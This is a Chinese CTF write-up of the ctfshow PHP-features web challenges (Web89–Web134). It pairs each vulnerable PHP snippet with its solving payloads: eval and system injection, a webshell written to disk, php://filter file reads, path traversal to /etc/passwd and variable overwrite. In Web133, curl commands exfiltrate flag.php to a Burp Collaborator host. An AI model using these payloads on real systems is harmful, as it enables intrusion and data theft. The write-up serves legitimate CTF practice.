ctfshowWeb入门 php特性全部wp
Web89(preg_match和intval)
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}
//?num[]=1
绕过正则,intval不为0。采取传入数组的方式绕过
preg_math()只能处理字符串,如果处理数组会返回false;intval如果传入数组,会返回true。
Web90(intval)
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}
//?num=4476a
//?num=0x117c
Web91(正则匹配多行模式)
<?php
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}
^表示开始,$表示结束,i表示不区分大小写,m表示多行模式
?cmd=php%0abbb
URL的换行符为%0a,\n不起换行作用,因为URL编码中斜杠并不是转义字符,\n只是普通的字符串而已
Web92
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
//?num=0x117c(十六进制)
//?num=010574(八进制)
//?num=4476e123
//?num=4476.1(4476.1~4476.9)
Web93
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
//?num=010574
//?num=4476.1
Web94
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
//?num=4476.10
时刻要注意num是个字符串,只要在4476后面用字符截断,即可绕过弱类型比较。关键是多了个strpos,这个函数的位置很巧妙,它要求num中必须有0,但还不能在开头,所以传入一个浮点数
Web95(八进制加号绕过)
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
//?num=+010574
多过滤了一个.,就不能用浮点数了,可以用8进制前面加个+绕过。

Web96(当前目录)
<?php
highlight_file(__FILE__);
if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
}
//?u=./flag.php
Web97(数组绕过强比较)
<?php
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>
a[]=1&b[]=2
md5()函数如果传入数组,返回值将是NULL,NULL===NULL,所以可以用数组绕过。
Web98(&引用)
<?php
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
?>
&表示引用,比如$b=&$a表示变量b是变量a的一个引用,相当于同一个变量两个名字,一个变化另一个也会跟着变化。
补充一个小知识点:
直接赋值:将一个变量的值复制到另一个变量中。这意味着创建了一个新的数据副本,两个变量在内存中占用不同的存储位置,对其中一个变量的修改不会影响另一个变量。
引用赋值:使用 & 符号,使两个变量指向同一个内存地址,它们实际上引用的是同一个数据,对其中一个变量的修改会影响另一个变量。
第一句,如果$_GET被设置了,那么$_GET会引用(引用传递)$_POST数组,否则$_GET会被设置为字符串'flag'。
第二句,如果get的flag参数为"flag",那么get的参数是cookie的参数
第三句,如果get的flag参数为"flag",那么get的参数是server的参数
第四句,如果get传入HTTP_FLAG参数的值为"flag",那么显示$flag
我们只要get一个HTTP_FLAG(什么都可以 ?a=b),然后会去调用post里的参数,再在post传一个HTTP_FLAG=flag

Web99(in_array)
<?php
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}
?>
in_array() 是否存在strict参数,如果不设置默认为False则为宽松比较,True需要检查搜索的数据与数组的值类型是否相同自动转换为1
题中为宽松比较。当n=1.php时 "1.php"==1,成功绕过

/?n=1.php
content=<?php system("ls");?>
content=<?php system("cat flag36d.php");?>
再去访问/1.php
Web100(逻辑运算符优先级)
<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
?>
逻辑运算符的优先级:
&&>||>=>and
等号的优先级高于and,所以v0只跟v1有关系,v2和v3是干扰
简单做个小测试
<?php
$v0=is_numeric("1") and is_numeric("a") and is_numeric("b");
var_dump($v0);

发现为true,说明可以绕过
然后就是怎么构造eval语句,我们不能直接输出字符串,应该输出$ctfshow的值,所以利用v2和v3的位置把给的这个括号注释掉
/?v1=1&v2=var_dump($ctfshow)/*&v3=*/;
/?v1=1&v2=eval($_POST[1])?>%23&v3=;
1=system("cat ctfshow.php");
再将得到的字符串的"0x2d"换成-即可得到flag
Web101(反射API*)
<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
?>
-
ReflectionClass:一个反射类,功能十分强大,内置了各种获取类信息的方法,创建方式为new ReflectionClass(str 类名),可以用echo new ReflectionClass('className')打印类的信息。
-
ReflectionObject:另一个反射类,创建方式为new ReflectionObject(对象名)。
过滤了好多符号,但是空格,分号没过滤掉,ctfshow这个类已经注册,可以用Reflectionclass反射函数包涵类信息
?v1=1&v2=echo new Reflectionclass&v3=;
然后对最后一位进行爆破
Web102(回调函数,短标签内敛执行)
<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');
}
?>
call_user_func():把第一个参数作为回调函数使用,后面的参数是这个函数的参数。返回调用函数的返回值。
file_put_contents():把一个字符串写入文件,如果文件不存在则创建之。
?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-
decode/resource=1.php
v1=hex2bin
v2在经过substr后变成5044383959474e6864434171594473,在经过v1的16进制转二进制字符串后变为PD89YGNhdCAqYDs,最后用base64解码为<?=cat *;
Web103
<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
if(!preg_match("/.*p.*h.*p.*/i",$str)){
file_put_contents($v3,$str);
}
else{
die('Sorry');
}
}
else{
die('hacker');
}
?>
跟Web102一样
v1=hex2bin
/?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-
decode/resource=1.php
Web104(SHA1弱比较)
<?php
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2)){
echo $flag;
}
}
?>
v1=10932435112
/?v2=aaroZmOk
Web105(变量覆盖)
<?php
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
}foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."\n";
die($suces);
?>
payload1
执行die($suces)
?suces=flag&flag=1
payload2
执行die($error)
?suces=flag
error=suces&flag=1
Web106(同Web104)
<?php
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2) && $v1!=$v2){
echo $flag;
}
}
?>
v1=10932435112
/?v2=aaroZmOk
Web107(parse_str)
<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if(isset($_POST['v1'])){
$v1 = $_POST['v1'];
$v3 = $_GET['v3'];
parse_str($v1,$v2); #对v1进行解析
if($v2['flag']==md5($v3)){
echo $flag;
}
}
?>
v1=flag=0e545993274517709034328855841020
/?v3=s878926199a
Web108(%00截断绕过ereg())
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {
die('error');
}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
echo $flag;
}
?>
ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字 母的字符是大小写敏感的。 ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配
?c=a%00778
Web109(echo new $v1触发反序列化)
<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
}
}
?>
new $v1 创建了一个名为v1的实例,调用v2方法。echo 一个对象 触犯反序列化的__toString()魔术方法,也就是本题的利用点
PHP 的魔术方法 __toString() 和异常处理机制实现执行任意代码
魔术方法 __toString() 在对象被当作字符串处理时自动调用。很多 PHP 内置类(如 Exception、CachingIterator 和 ReflectionClass)都实现了这个方法。
?v1=Exception&v2=system('ls')
?v1=CachingIterator&v2=system('ls')
?v1=ReflectionClass&v2=system('tac fl36dg.txt')
执行的代码相当于
eval("echo new Exception(system('tac fl36dg.txt'));");
由于Exception类的构造函数可以接受任意字符串参数,并且其__toString()方法会返回该字符串参数,eval会输出system('tac fl36dg.txt')的结果
上述的payload使用的都是php内置类,我们还可以使用匿名类结合魔术方法来打:
?v1=class{ public function __construct(){system('tac f*');}};&v2=w
创建了一个匿名类,并执行其构造函数,运行system('tac f*'); w()是一个无效的函数调用,但由于构造函数已经执行,系统命令也已经执行,函数调用的失败并不会影响结果
Web110(使用FilesystemIterator文件系统迭代器)
<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
die("error v1");
}
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
die("error v2");
}
eval("echo new $v1($v2());");
}
?>
正则匹配了很多已经不能用上一个的payload了
php 中查看目录的函数有:scandir()、golb()、dirname()、basename()、realpath()、getcwd() ,其中 scandir()、golb() 、dirname()、basename()、realpath() 都需要给定参数,而 getcwd() 不需要参数,getcwd() 函数会返回当前工作目录。
payload:(同时这个也适用Web109)
?v1=FilesystemIterator&v2=getcwd
相当于执行:
eval("echo new FilesystemIterator(getcwd());");
getcwd()返回当前工作目录路径,之后创建一个FilesystemIterator对象,该对象会遍历当前目录中的文件,这里就是输出当前目录中第一个文件的路径。
Web111(变量覆盖之GLOBAL全局变量)
<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;");
var_dump($$v1);
}
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
die("error v1");
}
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
die("error v2");
}
if(preg_match('/ctfshow/', $v1)){
getFlag($v1,$v2);
}
}
?>
要求 v1 中包含字符串 "ctfshow",才会调用 getflag 函数
将 $v2 的值引用赋给 $v1 对应的变量,即 $ctfshow,之后打印变量 $$v1($ctfshow) 的信息
如果将$v2赋值为flag,就得到$flag,再将$flag赋值给$ctfshow,然后输出$ctfshow 实际输出的是$flag的内容
?v1=ctfshow&v2=flag
但返回的是NULL,因为$flag在自定义函数getFlag函数中没有定义,$flag是属于flag.php中的变量,对于getFlag来说是外部变量,不能直接使用。
因此这里使用超全局变量$GLOBALS,GLOBALS是PHP的一个超级全局变量组,包含了全部变量的全局组合数组,变量的名字就是数组的键。(global必须大写)
/?v1=ctfshow&v2=GLOBALS

Web112(伪协议绕过is_file)
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!");
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
没有过滤php://filter 可以不用过滤器直接读取。
方法一:
?file=php://filter/resource=flag.php
方法二:
也可以用文件包含里的Web117
?file=php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
第一个payload需要用脚本转换一下
<?php
#因为有特殊符号,需要加上转义符
$flag="f\$al=gc\"fthswo3{71eeb1-9103f4-7d-1b88f7-d90e06ab44}9;\"";
$result=iconv("UCS-2BE","UCS-2LE",$flag);
echo "flag:".$result."\n";
?>
方法三:
转换过滤器convert里还有一个quoted-printable-encode可以用。
?file=php://filter/read=convert.quoted-printable-encode/resource=flag.php
方法四:
封装协议zip
?file=compress.zlib://flag.php
compress.zlib类似gzopen()


file协议不能绕过is_file的判断。
http协议需要公网ip。
glob协议返回的是一个数组。highlight_file不能对数组进行高亮,所以本题不能用。
方法五:
详见Web113的方法二
Web113
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
方法一:
多过滤了filter 使用上题的方法四
?file=compress.zlib://flag.php
方法二:
目录溢出导致is_file认为这不是一个文件。同样也适用Web112
?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

Web114
<?php
error_reporting(0);
highlight_file(__FILE__);
function filter($file){
if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
限制了compress和convert和root,但是没有限制php://filter
/?file=php://filter/resource=flag.php
Web115(换页符%0c绕过is_numeric()+trim())
<?php
include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
if($num=='36'){
echo $flag;
}else{
echo "hacker!!";
}
}else{
echo "hacker!!!";
}
is_numeric可以在数字前面加空格绕过,同时加上空格可以绕过$num!=='36'
trim是移除字符串两侧的空白字符或其他预定义字符,可以看到空格等字符是会被去掉的,那么可以用%0c

使用%0c也可以绕过filter
接下来再看第二个判断

可以看到!==时不进行类型转换,所以字符串和数值比较,类型不同,结果tuue;同样加上%0c换页符,在==进行类型转换,会被转换为数值的36,结果为true
?num=%0c36
Web123($_SERVER['argv'])
<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
?>
非预期解:
CTF_SHOW=&CTF[SHOW.COM=&fun=$flag
在给参数传值时,如果参数名中存在非法字符,比空格和点,则参数名中的点和空格等非法字符都会被替换成下划线。所以参数名不一定要CTF_SHOW;CTF SHOW和CTF.SHOW都可以
在PHP8之前,如果参数中出现中括号 [ ,那么中括号会被转换成下划线 _ ,但是会出现转换错误,导致如果参数名后面还存在非法字符,则不会继续转换成下划线。也就是说,我们可以刻意拼接中括号制造这种错误,来保留后面的非法字符不被替换,因为中括号导致只会替换一次。
由于没有过滤字母和空格,直接用 echo 输出 flag
方法二:
在PHP中,$_SERVER['a']用于获取脚本的命令行参数,通常,这是在命令行模式下运行 PHP 脚本时使用的,而不是在网页模式下使用。
当在命令行模式下运行 PHP 脚本时,例如: php script.php arg1 arg2
那么 $_SERVER['argv'] 将包含以下内容:
$_SERVER['argv'][0] = 'script.php'; // 脚本名
$_SERVER['argv'][1] = 'arg1'; // 第一个参数
$_SERVER['argv'][2] = 'arg2'; // 第二个参数
在网页模式下(通过浏览器访问 PHP 脚本),$_SERVER['argv'] 通常不包含有用的信息,因为网页请求没有命令行参数。然而,有时服务器配置会将查询字符串或其他信息填充到$ _SERVER['argv']中
get:?$fl0g=flag_give_me;
post:CTF_SHOW=&CTF[SHOW.COM=&fun=eval($a[0])
这里的查询字符串没有包含 fl0g,但包含了 $fl0g。由于 PHP 中的变量名不包括 $ 符号,所以 isset($_GET['fl0g']) 仍然会返回 false,即没有检测到 fl0g 参数。
post 传入 CTF_SHOW 和 CTF_SHOW.COM 确保 isset($_POST['CTF_SHOW']) && isset($_POST['CTF_SHOW.COM']) 这部分条件为真,fun=eval($a[0]) 将 eval($a[0]) 的代码传递给 $c。
准确来说,此时的 $_SERVER[‘argv’][0] 就等于 $_SERVER[‘QUERY_STRING’],$_SERVER["QUERY_STRING"] 就是查询 (query) 的字符串,这是由于 php.ini 开启了register_argc_argv 配置项。
举个例子:
http://example.com/test.php?arg1=value1&arg2=value2
输出结果:
参数数组:
Array
(
[0] => test.php
[1] => arg1=value1
[2] => arg2=value2
)
当访问 ?$fl0g=flag_give_me; 时,服务器配置使得查询字符串被传递到 $_SERVER['argv'] 中。
在这种配置下,$_SERVER['argv'][0] 包含了整个查询字符串,即 '$fl0g=flag_give_me;'。
在 eval("$c;"); 中实际执行的是 eval('eval($a[0]);');,因为 $a[0] 是 '$fl0g=flag_give_me;',这相当于执行了 eval('$fl0g=flag_give_me;');,这样就定义了变量 $fl0g 并赋值为 'flag_give_me'。
方法三:官方的预期解
get: ?a=1+fl0g=flag_give_me
post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
还是举一个例子:
http://example.com/test.php?;ls+-l
Array
(
[0] => test.php
[1] => ;ls+-l
)
被设置为;ls -l,然后被传递到 system() 函数中执行,导致服务器的文件列表被列出,从而引发远程代码执行(RCE)漏洞。
通过加号+分割argv成多个部分,也是为了得到fl0g=flag_give_me,parse_str()函数用来把查询字符串解析到变量中

Web125
<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
?>
上题的方法二和方法三仍可以用
其他payload
?1=flag.php
post:CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[1])
CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_POST[1])&1=flag.php
CTF_SHOW=&CTF[SHOW.COM=&fun=include($_POST[1])&1=php://filter//convert.iconv.SJIS*.UCS-4*/resource=flag.php
CTF_SHOW=&CTF[SHOW.COM=&fun=require($_POST[1])&1=php://filter//convert.iconv.SJIS*.UCS-4*/resource=flag.php
CTF_SHOW=&CTF[SHOW.COM=&fun=var_export(get_defined_vars())
Web126
<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
Web124的方法二和方法三的payload还可以用
或者post传assert也可以
?$fl0g=flag_give_me;
CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])
Web127(extract()覆盖变量)
<?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];
//特殊字符检测
function waf($url){
if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
return true;
}else{
return false;
}
}
if(waf($url)){
die("嗯哼?");
}else{
extract($_GET);
}
if($ctf_show==='ilove36d'){
echo $flag;
}
我们来了解一下extrack函数
<?php
extract($_GET); // 提取 $_GET 中的所有参数
echo "Hello, $name!"; // 输出用户的名字
?>
如果用户访问URL为
http://example.com/script.php?name=John
$_GET 数组为:['name'=>'John']
extract($_GET) 会将$name 设置为'John'
输出结果为Hello,John
回到题目,令ctf_show=ilove36d
extract可以从数组中将变量导入到当前的符号表,本题限制了中括号,下划线,可以用空格绕过,然后进行变量覆盖
/?ctf show=ilove36d
Web128(两层call_user_func)
<?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$f1 = $_GET['f1'];
$f2 = $_GET['f2'];
if(check($f1)){
var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
echo "嗯哼?";
}
function check($str){
return !preg_match('/[0-9]|[a-z]/i', $str);
}
f1不能有数字和大小写字母
call_user_func把第一个参数作为回调函数调用,其余参数是回调函数的参数。
两个call_user_func,第一个函数可以有一个参数,返回的第二个函数是无参数函数。
gettext():
获取的文本框当前输入内容的方法,返回内容。`_()`是gettext函数的简写形式,需要php扩展目录下有php_gettext.dll才能使用。
?f1=_&f2=phpinfo测试phpinfo()
get_defined_vars():返回由所有已定义变量所组成的数组。
当前文件包含flag.php,直接打印$flag变量
?f1=_&f2=get_defined_vars
Web129(readfile目录穿越)
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
$f = $_GET['f'];
if(stripos($f, 'ctfshow')>0){
echo readfile($f);
}
}
我们看到 readfile是一个文件读取 可以进行路径穿越读取文件
我们先尝试读取/etc/passwd
/?f=../ctfshow../../../../../../../../etc/passwd
ctfshow 前面只要有字符就行 不能出现在开头;否则stripos返回为0
发现可以读取
然后读取/var/www/html/flag.php
/?f=../ctfshow../../../../../../../../var/www/html/flag.php
Web130(正则匹配和首位出现判断)
<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = $_POST['f'];
if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f, 'ctfshow') === FALSE){
die('bye!!');
}
echo $flag;
}
先看第一个if:
.+?:匹配任意字符(至少一个),?表示非贪婪匹配,即尽可能少匹配字符
i:不区分大小写
s:允许.匹配换行符
如果任何字符后跟ctfshow就会die()
第二个if:
stripos函数如果未发现字符串将返回 FALSE。
全等于的条件是必须双方的类型也一样,所以ctfshow在首位返回的0与FLASE不全等。
f=ctfshow
Web131(preg_match的栈溢出 回溯上限)
<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = (String)$_POST['f'];
if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f,'36Dctfshow') === FALSE){
die('bye!!');
}
echo $flag;
}
这道题既要求ctfshow不在首位就匹配,又要求有36Dctfshow,非常的矛盾,所以只能找办法突破规则。
正则匹配中对回溯数和嵌套数进行了最大限制。
默认的backtrack_limit(最大回溯数)是100000,recursion_limit(最大嵌套数)是100000。
可以参考大神:
https://www.laruence.com/2010/06/08/1579.html
PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限pcre.backtrack_limit。可以通过`var_dump(ini_get('pcre.backtrack_limit'));`来查看上限。那么只需要输入的匹配字符串长度大于1000000,那么preg_match函数就会直接返回false
正则匹配默认是贪婪模式;在量词后面直接加上一个问号`?`就是非贪婪模式。非贪婪匹配就是匹配到就结束,匹配尽可能少的字符。
非贪婪模式容易导致太多回溯。
嵌套太多,可能会造成耗尽栈空间爆栈。
<?php
echo str_repeat('very', '250000').'36Dctfshow';
?>

Web132
/robots.txt 发现存在/admin 访问/admin 获取源码
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
$username = (String)$_GET['username'];
$password = (String)$_GET['password'];
$code = (String)$_GET['code'];
if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
if($code == 'admin'){
echo $flag;
}
}
}
代码审计后 发现||只要username=admin就可以绕过第一个if
再让code=admin就可以了
/?username=admin&password=123&code=admin
Web133(变量覆盖和curl -F使用)
<?php
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
eval(substr($F,0,6));
}else{
die("6个字母都还不够呀?!");
}
}
分析一下代码发现仿佛是只能读取前面6个字符去执行命令,禁止了命令执行的函数,并且没有写入权限。可能利用就比较可能
但是,如果我们传递的参数就是$F本身,会不会发生变量覆盖?
/?F=`$F`; sleep 3
我们传递?F=`$F`; sleep 3好像网站确实sleep了一会说明的确执行了命令
那为什么会这样?
因为是我们传递的`$F`; sleep 3。先进行substr()函数截断然后去执行eval()函数
这个函数的作用是执行php代码,是shell_exec()函数的缩写,然后就去命令执行。
而$F就是我们输入的`$F`; sleep 3 使用最后执行的代码应该是
``$F`; sleep 3`,就执行成功
然后就是利用curl去带出flag.php
curl -F 将flag文件上传到Burp的 Collaborator Client ( Collaborator Client 类似DNSLOG,其功能要比DNSLOG强大,主要体现在可以查看 POST请求包以及打Cookies)
/?F=`$F`; curl -X POST -F xx=@flag.php http://p1r8uycu5lb8bkf8r5uyvpe5rwxmlb.burpcollaborator.net
#其中-F 为带文件的形式发送post请求
#xx是上传文件的name值,flag.php就是上传的文

或者我们可以直接进行命令执行
/?F=`$F`; curl http://p1r8uycu5lb8bkf8r5uyvpe5rwxmlb.burpcollaborator.net/`ls`

/?F=`$F`; curl http://p1r8uycu5lb8bkf8r5uyvpe5rwxmlb.burpcollaborator.net/`cat flag.php|grep ctfshow`
#因为 flag.php 内容是多行,所以结合 grep 找一下

Web134(parse_str和extract 进行变量覆盖)
<?php
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
die(file_get_contents('flag.php'));
}
@parse_str($_SERVER['QUERY_STRING']);
解析查询字符串并将变量提取到当前作用域中,@ 用于抑制可能的错误。
